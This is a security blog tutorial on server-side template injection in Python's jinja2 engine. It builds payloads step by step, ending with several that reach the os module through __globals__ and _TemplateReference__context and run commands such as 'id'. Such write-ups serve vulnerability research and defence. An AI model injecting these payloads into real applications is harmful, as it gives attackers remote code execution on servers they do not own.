Python vulnerabilities : Code execution in jinja templates

Jul 27, 2021   
ssti tool unauthenticated web 
Also available in:  🇫🇷 🇫🇷 


Introduction

Some time ago I presented an article on format string vulnerabilities in Python in which I explained the dangers of format strings, if they are misused. Today I'm going to present a fairly similar vulnerability, allowing code execution in the templates of the jinja module. This type of behavior is very useful for exploiting Server Side Template Injection (SSTI) vulnerabilities.

The jinja2 template engine

The jinja2 template engine allows you to generate documents (strings, web pages ...) from templates. This greatly simplifies the code and saves time. For example for a website, instead of writing the header block <head> in all the pages, we can create a single head.jinja2 template that will be included in all the pages. So when it is necessary to modify the content of the header, there will only be one file to modify.

Here is an example of a jinja2 template:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>My Webpage</title>
    <link rel="stylesheet" href="/css/main.css">
</head>
<body>
    <ul id="navigation">
    {% for item in navigation %}
        <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
    {% endfor %}
    </ul>

    <h1>My Webpage</h1>
    {{ a_variable }}

    {# a comment #}
</body>
</html>

Template object of jinja2

In the jinja2 engine, templates are created from the Template object of the module. Thanks to this type of object, we can create templates very easily, in the same way as format strings:

>>> from jinja2 import Template
>>> msg = Template("My name is {{ name }}").render(name="John Doe")
>>> print(msg)
'My name is John Doe'

When we generate the string with .render(...) the jinja2 engine uses the name= object passed as a parameter and replaces it in the {{ name }} location of the template which gives us the result 'My name is John Doe'.

Execution of commands

In Python, format strings allow us to access the properties of objects, but not to call the methods of these. In the jinja2 engine, we can execute functions specific to objects passed as parameters. Let's take an example:

>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ s.upper() }}").render(s="thisisastring")
>>> print(msg)
'My name is THISISASTRING'

Similarly, we can run commands if we have access to the os module from thejinja2 Template:

>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ module.system('id') }}").render(module=os)
uid=1000(user) gid=1000(user) groups=1000(user)
>>> print(msg)
'My name is 0'

In the example above, we import the os andjinja2 modules and then we create a template. The template contains {{ module.system('id') }} allowing to call a function of the module used (here os). When rendering the template, os.system('id') is executed.

The TemplateReference object

In jinja2 templates, we can use the TemplateReference object to reuse code blocks from the template. For example, to avoid rewriting the title all over the template, we can set the title in a block {% block title%} and retrieve it with {{ self.title() }} later on:

>>> msg = jinja2.Template("""
... <title>{% block title %}This is a title{% endblock %}</title>
... <h1>{{ self.title() }}</h1>
... """).render()
>>> print(msg)
<title>This is a title</title>
<h1>This is a title</h1>
>>>

We can access the TemplateReference object without conditions, even without any variables supplied in the render():

>>> jinja2.Template("My name is {{ self }}").render()
'My name is <TemplateReference None>'
>>>

We will therefore start from the TemplateReference object to build a payload allowing to access the os module.

Building a classic payload

A very classic idea is to use the TemplateReference object to access the __builtins__ and use the __import__ function to import the module we want directly. To do this, we must first go back to __globals__ using the classic self .__ init __.__ globals__ path:

>>> jinja2.Template("My name is {{ self.__init__.__globals__ }}").render()

By doing this, we get a dict containing all the global variables:

In the __globals__, we can access Python's __builtins__ functions. This set of functions is included natively in Python without the need for external libraries, and notably contains the __import__ function. So we can use it directly to import the os module like this:

>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is 0\n'

Here the system function of the os module allows us to check that we can execute commands, but the result of the command is not reflected in the generated template (only the return code is shown). To return the result of the command, we need to use os.popen(command).read() like this:

>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is uid=1000(user) gid=1000(user) groups=1000(user)\n'

And we can now run system commands from a jinja template!

A context-independent payload

The problem with the previous method is that __builtins__ are often restricted or filtered. So we have to try to find a module where os is already imported, and try to access it. In the source of the jinja2 module, we see that the os module is imported into the utils.py file, (So the os module is accessible at jinja2.utils.os). We can confirm it very simply:

>>> import jinja2
>>> jinja2.utils.os
<module 'os' from '/usr/lib/python3.8/os.py'>
>>>

If we go back to our TemplateReference object presented above, we can find a very interesting internal attribute, _TemplateReference__context. This attribute is very interesting because it allows access to three variables cycler, joiner and namespace all present in the utils.py file where the os module is also imported.

>>> jinja2.Template("My name is {{ e(self._TemplateReference__context) }}").render(e=lambda x:vars(x))
"My name is {'parent': {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f62df526940>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'e': <function <lambda> at 0x7f62de305790>}, 'vars': {}, 'environment': <jinja2.environment.Environment object at 0x7f62dfded040>, 'eval_ctx': <jinja2.nodes.EvalContext object at 0x7f62de22b760>, 'exported_vars': set(), 'name': None, 'blocks': {}}"

Once we get to the right submodule, all we have to do is go back to the __globals__ to directly access the os module:

>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"

>>> jinja2.Template("My name is {{ self._TemplateReference__context.joiner.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"

>>> jinja2.Template("My name is {{ self._TemplateReference__context.namespace.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>>

Here are 3 context-independent payloads, always allowing access to the os module in a template rendered by the jinja2 engine:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

References